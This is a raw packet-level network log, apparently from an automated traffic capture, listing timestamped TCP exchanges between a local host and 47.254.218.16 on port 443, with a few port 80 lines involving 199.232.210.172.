Dec 10, 2024 12:49:01.859910011 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:01.859915018 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.859954119 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:01.953746080 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:02.012371063 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.012387991 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.012445927 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:02.012454033 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.012494087 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:02.018157005 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.018172026 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.018224001 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:02.018230915 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.018270016 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:02.023721933 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.023727894 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.023796082 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:02.023801088 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.023838043 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:02.029295921 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.029319048 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.029387951 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:02.029387951 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:02.029393911 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.029432058 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:02.035511017 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.035526037 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.035573006 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:02.035578012 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.035633087 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:02.040951967 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.040966034 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.041011095 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:02.041014910 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.041055918 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:02.046971083 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.046984911 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.047035933 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:02.047040939 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.047081947 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:02.052237988 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.052253962 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.052320957 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:02.052325964 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.052367926 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:02.148334026 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:02.204670906 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.204690933 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.204771996 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:02.204798937 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.204848051 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:02.210634947 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.210650921 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.210710049 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:02.210716009 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.210762978 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:02.215996027 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.216012001 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.216061115 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:02.216068029 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.216109037 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:02.221878052 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.221892118 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.221941948 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:02.221946955 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.221983910 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:02.227859974 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.227874994 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.227922916 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:02.227929115 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.227948904 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:02.227972031 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:02.233422995 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.233438015 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.233500957 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:02.233505964 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.233542919 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:02.239454985 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.239469051 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.239516973 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:02.239522934 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.239557028 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:02.239568949 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:02.244777918 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.244791985 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.244838953 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:02.244843006 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.244870901 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:02.244889021 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:02.341969013 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:02.396868944 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.396886110 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.396945000 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:02.396953106 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.396996021 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:02.402834892 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.402852058 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.402903080 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:02.402909040 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.402949095 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:02.408133984 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.408148050 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.408200979 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:02.408205986 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.408246994 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:02.414081097 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.414096117 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.414149046 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:02.414154053 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.414196968 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:02.419996023 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.420010090 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.420057058 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:02.420063972 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.420104980 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:02.425699949 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.425713062 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.425801992 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:02.425806999 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.425852060 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:02.431617975 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.431632042 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.431680918 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:02.431684971 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.431725025 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:02.437401056 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.437414885 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.437474012 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:02.437479019 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.437517881 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:02.534285069 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:02.589051962 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.589087009 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.589149952 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:02.589155912 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.589198112 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:02.595151901 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.595169067 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.595216990 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:02.595221996 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.595268011 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:02.600330114 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.600344896 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.600392103 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:02.600397110 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.600435972 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:02.606376886 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.606389999 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.606435061 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:02.606441975 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.606482029 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:02.612354040 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.612370014 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.612409115 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:02.612413883 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.612440109 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:02.612459898 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:02.617911100 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.617925882 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.617971897 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:02.617975950 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.618016005 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:02.623898029 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.623913050 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.623964071 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:02.623975992 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.624017000 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:02.629200935 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.629215002 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.629264116 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:02.629270077 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.629307032 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:02.731642008 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:02.781502962 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.781527042 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.781570911 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:02.781578064 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.781606913 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:02.781626940 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:02.787373066 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.787386894 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.787441969 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:02.787446022 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.787489891 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:02.793392897 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.793406010 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.793458939 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:02.793464899 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.793508053 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:02.798829079 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.798841953 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.798901081 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:02.798906088 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.798949957 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:02.804589033 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.804605007 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.804652929 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:02.804657936 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.804702044 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:02.810271025 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.810285091 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.810333967 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:02.810338020 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.810379028 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:02.816303968 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.816318035 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.816370010 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:02.816375971 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.816418886 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:02.822200060 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.822215080 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.822272062 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:02.822276115 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.822319031 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:02.847758055 CET	49700	80	192.168.2.17	199.232.210.172
Dec 10, 2024 12:49:02.924952030 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:02.967401981 CET	80	49700	199.232.210.172	192.168.2.17
Dec 10, 2024 12:49:02.967463017 CET	49700	80	192.168.2.17	199.232.210.172
Dec 10, 2024 12:49:02.973759890 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.973776102 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.973834991 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:02.973841906 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.973882914 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:02.979655027 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.979667902 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.979727030 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:02.979736090 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.979778051 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:02.985662937 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.985677004 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.985724926 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:02.985730886 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.985771894 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:02.991040945 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.991054058 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.991110086 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:02.991115093 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.991154909 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:02.997268915 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.997282982 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.997333050 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:02.997337103 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:02.997378111 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:03.002532005 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:03.002547026 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:03.002603054 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:03.002607107 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:03.002646923 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:03.008503914 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:03.008517027 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:03.008565903 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:03.008575916 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:03.008620024 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:03.014549017 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:03.014570951 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:03.014605045 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:03.014611006 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:03.014638901 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:03.014651060 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:03.123280048 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:03.166193962 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:03.166219950 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:03.166285992 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:03.166305065 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:03.166351080 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:03.172035933 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:03.172055006 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:03.172100067 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:03.172107935 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:03.172152996 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:03.177989006 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:03.178004980 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:03.178044081 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:03.178050995 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:03.178076982 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:03.178097010 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:03.183224916 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:03.183242083 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:03.183295012 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:03.183300972 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:03.183343887 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:03.189480066 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:03.189495087 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:03.189558983 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:03.189563990 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:03.189601898 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:03.194771051 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:03.194787979 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:03.194839954 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:03.194844961 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:03.194886923 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:03.200828075 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:03.200848103 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:03.200900078 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:03.200905085 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:03.200948000 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:03.206674099 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:03.206712961 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:03.206763029 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:03.206768036 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:03.206808090 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:03.318001032 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:03.358314991 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:03.358338118 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:03.358407974 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:03.358429909 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:03.358472109 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:03.364473104 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:03.364489079 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:03.364542961 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:03.364550114 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:03.364588976 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:03.370213032 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:03.370228052 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:03.370270014 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:03.370275974 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:03.370315075 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:03.376411915 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:03.376427889 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:03.376476049 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:03.376481056 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:03.376518011 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:03.381870985 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:03.381886959 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:03.381932974 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:03.381937027 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:03.381978035 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:03.387166977 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:03.387181997 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:03.387229919 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:03.387242079 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:03.387280941 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:03.393063068 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:03.393078089 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:03.393117905 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:03.393127918 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:03.393141985 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:03.393162012 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:03.399008036 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:03.399024010 CET	443	49729	47.254.218.16	192.168.2.17
